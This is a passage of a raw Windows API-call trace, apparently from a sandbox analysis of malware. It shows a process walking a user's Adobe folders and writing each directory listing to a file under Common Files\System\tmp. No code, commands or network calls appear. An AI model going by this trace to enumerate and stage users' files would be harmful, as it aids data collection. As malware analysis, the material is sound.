ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0126.327] AreFileApisANSI () returned 1 [0126.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0126.327] GetFileType (hFile=0x17c) returned 0x1 [0126.327] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c208 | out: lpNewFilePointer=0x0) returned 1 [0126.327] GetLastError () returned 0xb7 [0126.327] SetLastError (dwErrCode=0xb7) [0126.327] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c254 | out: lpNewFilePointer=0x0) returned 1 [0126.327] WriteFile (in: hFile=0x17c, lpBuffer=0x18ae94*, nNumberOfBytesToWrite=0xaa, lpNumberOfBytesWritten=0x18ae74, lpOverlapped=0x0 | out: lpBuffer=0x18ae94*, lpNumberOfBytesWritten=0x18ae74*=0xaa, lpOverlapped=0x0) returned 1 [0126.328] GetLastError () returned 0xb7 [0126.328] SetLastError (dwErrCode=0xb7) [0126.328] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0126.328] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.328] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0126.328] AreFileApisANSI () returned 1 [0126.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0126.328] GetFileType (hFile=0x180) returned 0x1 [0126.328] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bea8 | out: lpNewFilePointer=0x0) returned 1 [0126.328] GetLastError () returned 0xb7 [0126.328] SetLastError (dwErrCode=0xb7) [0126.328] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bef4 | out: lpNewFilePointer=0x0) returned 1 [0126.328] WriteFile (in: hFile=0x180, lpBuffer=0x18ab34*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x18ab14, lpOverlapped=0x0 | out: lpBuffer=0x18ab34*, lpNumberOfBytesWritten=0x18ab14*=0xb2, lpOverlapped=0x0) returned 1 [0126.329] GetLastError () returned 0xb7 [0126.329] SetLastError (dwErrCode=0xb7) [0126.329] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0126.329] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.329] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0126.329] AreFileApisANSI () returned 1 [0126.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0126.329] GetFileType (hFile=0x184) returned 0x1 [0126.329] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb50 | out: lpNewFilePointer=0x0) returned 1 [0126.329] GetLastError () returned 0xb7 [0126.329] SetLastError (dwErrCode=0xb7) [0126.329] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb9c | out: lpNewFilePointer=0x0) returned 1 [0126.330] WriteFile (in: hFile=0x184, lpBuffer=0x18a7dc*, nNumberOfBytesToWrite=0xb7, lpNumberOfBytesWritten=0x18a7bc, lpOverlapped=0x0 | out: lpBuffer=0x18a7dc*, lpNumberOfBytesWritten=0x18a7bc*=0xb7, lpOverlapped=0x0) returned 1 [0126.330] GetLastError () returned 0xb7 [0126.330] SetLastError (dwErrCode=0xb7) [0126.330] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0126.330] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.330] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0126.330] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x40000000, dwReserved1=0x867810, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0126.330] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x867810, cFileName="Cache", cAlternateFileName="")) returned 1 [0126.330] AreFileApisANSI () returned 1 [0126.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0126.330] GetFileType (hFile=0x188) returned 0x1 [0126.330] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b7f0 | out: lpNewFilePointer=0x0) returned 1 [0126.331] GetLastError () returned 0xb7 [0126.331] SetLastError (dwErrCode=0xb7) [0126.331] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b83c | out: lpNewFilePointer=0x0) returned 1 [0126.331] WriteFile (in: hFile=0x188, lpBuffer=0x18a47c*, nNumberOfBytesToWrite=0xbd, lpNumberOfBytesWritten=0x18a45c, lpOverlapped=0x0 | out: lpBuffer=0x18a47c*, lpNumberOfBytesWritten=0x18a45c*=0xbd, lpOverlapped=0x0) returned 1 [0126.331] GetLastError () returned 0xb7 [0126.331] SetLastError (dwErrCode=0xb7) [0126.331] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0126.331] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="..", cAlternateFileName="")) returned 1 [0126.331] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0126.332] FindNextFileA (in: hFindFile=0x7d17b0, lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="acrofnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0 [0126.332] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0126.332] GetLastError () returned 0x12 [0126.332] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x18b88c, dwReserved1=0x18b8bc, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0126.332] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x18b88c, dwReserved1=0x18b8bc, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0126.332] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x18b88c, dwReserved1=0x18b8bc, cFileName="usercache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0126.332] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0126.332] GetLastError () returned 0x12 [0126.332] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0126.332] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0126.332] GetLastError () returned 0x12 [0126.332] FindNextFileA (in: hFindFile=0x7d16f0, lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18bf44, dwReserved1=0x18bf74, cFileName="Color", cAlternateFileName="")) returned 1 [0126.332] AreFileApisANSI () returned 1 [0126.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0126.332] GetFileType (hFile=0x180) returned 0x1 [0126.332] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bea8 | out: lpNewFilePointer=0x0) returned 1 [0126.332] GetLastError () returned 0xb7 [0126.333] SetLastError (dwErrCode=0xb7) [0126.333] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bef4 | out: lpNewFilePointer=0x0) returned 1 [0126.333] WriteFile (in: hFile=0x180, lpBuffer=0x18ab34*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x18ab14, lpOverlapped=0x0 | out: lpBuffer=0x18ab34*, lpNumberOfBytesWritten=0x18ab14*=0xb0, lpOverlapped=0x0) returned 1 [0126.333] GetLastError () returned 0xb7 [0126.333] SetLastError (dwErrCode=0xb7) [0126.333] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x8670e0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0126.333] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x8670e0, cFileName="..", cAlternateFileName="")) returned 1 [0126.383] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x10000000, dwReserved1=0x8670e0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0126.383] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x8670e0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0126.383] AreFileApisANSI () returned 1 [0126.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0126.383] GetFileType (hFile=0x184) returned 0x1 [0126.383] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb50 | out: lpNewFilePointer=0x0) returned 1 [0126.383] GetLastError () returned 0xb7 [0126.383] SetLastError (dwErrCode=0xb7) [0126.384] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18bb9c | out: lpNewFilePointer=0x0) returned 1 [0126.384] WriteFile (in: hFile=0x184, lpBuffer=0x18a7dc*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x18a7bc, lpOverlapped=0x0 | out: lpBuffer=0x18a7dc*, lpNumberOfBytesWritten=0x18a7bc*=0xb9, lpOverlapped=0x0) returned 1 [0126.384] GetLastError () returned 0xb7 [0126.384] SetLastError (dwErrCode=0xb7) [0126.384] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0126.384] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.384] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0126.384] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x40000000, dwReserved1=0x837758, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0126.384] FindNextFileA (in: hFindFile=0x7d1770, lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x40000000, dwReserved1=0x837758, cFileName="wsrgb.icc", cAlternateFileName="")) returned 0 [0126.384] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0126.384] GetLastError () returned 0x12 [0126.384] FindNextFileA (in: hFindFile=0x7d1730, lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, 